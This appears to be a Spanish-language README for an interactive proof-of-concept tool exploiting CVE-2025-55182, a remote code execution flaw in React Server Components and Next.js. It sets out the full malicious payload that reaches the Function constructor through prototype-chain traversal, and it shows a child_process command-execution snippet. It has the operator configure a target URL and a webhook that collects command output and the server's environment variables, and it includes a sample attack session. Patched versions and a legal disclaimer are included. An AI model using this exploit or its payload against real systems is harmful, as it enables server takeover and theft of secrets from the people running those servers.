React2Shell - PoC interactivo de CVE-2025-55182

Shell interactiva para explotar CVE-2025-55182, una vulnerabilidad de ejecución remota de código (RCE) en React Server Components.

Aviso legal

Esta herramienta se proporciona únicamente con fines EDUCATIVOS y de PRUEBAS DE SEGURIDAD AUTORIZADAS.

• Úsala solo en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas
• El acceso no autorizado a sistemas informáticos es ilegal
• El autor no se hace responsable del mal uso de esta herramienta
• Esto es una prueba de concepto (PoC) para la investigación y concienciación en seguridad

Resumen de la vulnerabilidad

CVE-2025-55182 afecta a React Server Components (RSC) en:

• Next.js < 15.1.7, < 14.2.29, < 13.5.9
• Waku (varias versiones)

La vulnerabilidad permite la ejecución remota de código (RCE) mediante payloads maliciosos enviados a las Server Actions.

Cómo funciona

1. El protocolo RSC utiliza la sintaxis $@x para referenciar objetos Chunk internos
2. JavaScript desempaqueta automáticamente objetos con métodos .then() (similares a Promise)
3. Al crear un payload malicioso con propiedades controladas _response, _formData y _prefix
4. El atacante puede llegar al constructor Function mediante la travesía de la cadena de prototipos
5. Esto permite la ejecución arbitraria de JavaScript en el servidor

$3:constructor:constructor → Function constructor → RCE

Instalación

git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Configuración

Edita exploit.js y actualiza estos valores:

const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL

Obtén un webhook gratuito en: https://webhook.site

Uso

node exploit.js

Comandos

Ejemplo de sesión

react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

Los resultados aparecen en tu webhook, no en la terminal.

Detalles técnicos

Estructura del payload

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Flujo de ejecución

1. El payload se envía como datos de formulario multipart con la cabecera next-action
2. El analizador React Flight procesa los chunks
3. $@3 crea una referencia Chunk
4. $3:constructor:constructor atraviesa hasta Function
5. El contenido de _prefix se pasa a Function() y se ejecuta

Notas para Next.js 15+

• Usa módulos ESM, por lo que require() no está disponible
• Usa import() dinámico en su lugar:
  root@kitploit:~

  import("child_process").then(cp => cp.execSync("whoami"))
  

Versiones parcheadas

Actualiza a estas versiones para corregir la vulnerabilidad:

• Next.js >= 15.1.7
• Next.js >= 14.2.29
• Next.js >= 13.5.9

Referencias

• Sitio oficial de React2Shell
• Plugin de Google Tsunami Scanner

Licencia

Licencia MIT - Solo con fines educativos.

Autor

PoC de investigación en seguridad - Úsala de forma responsable.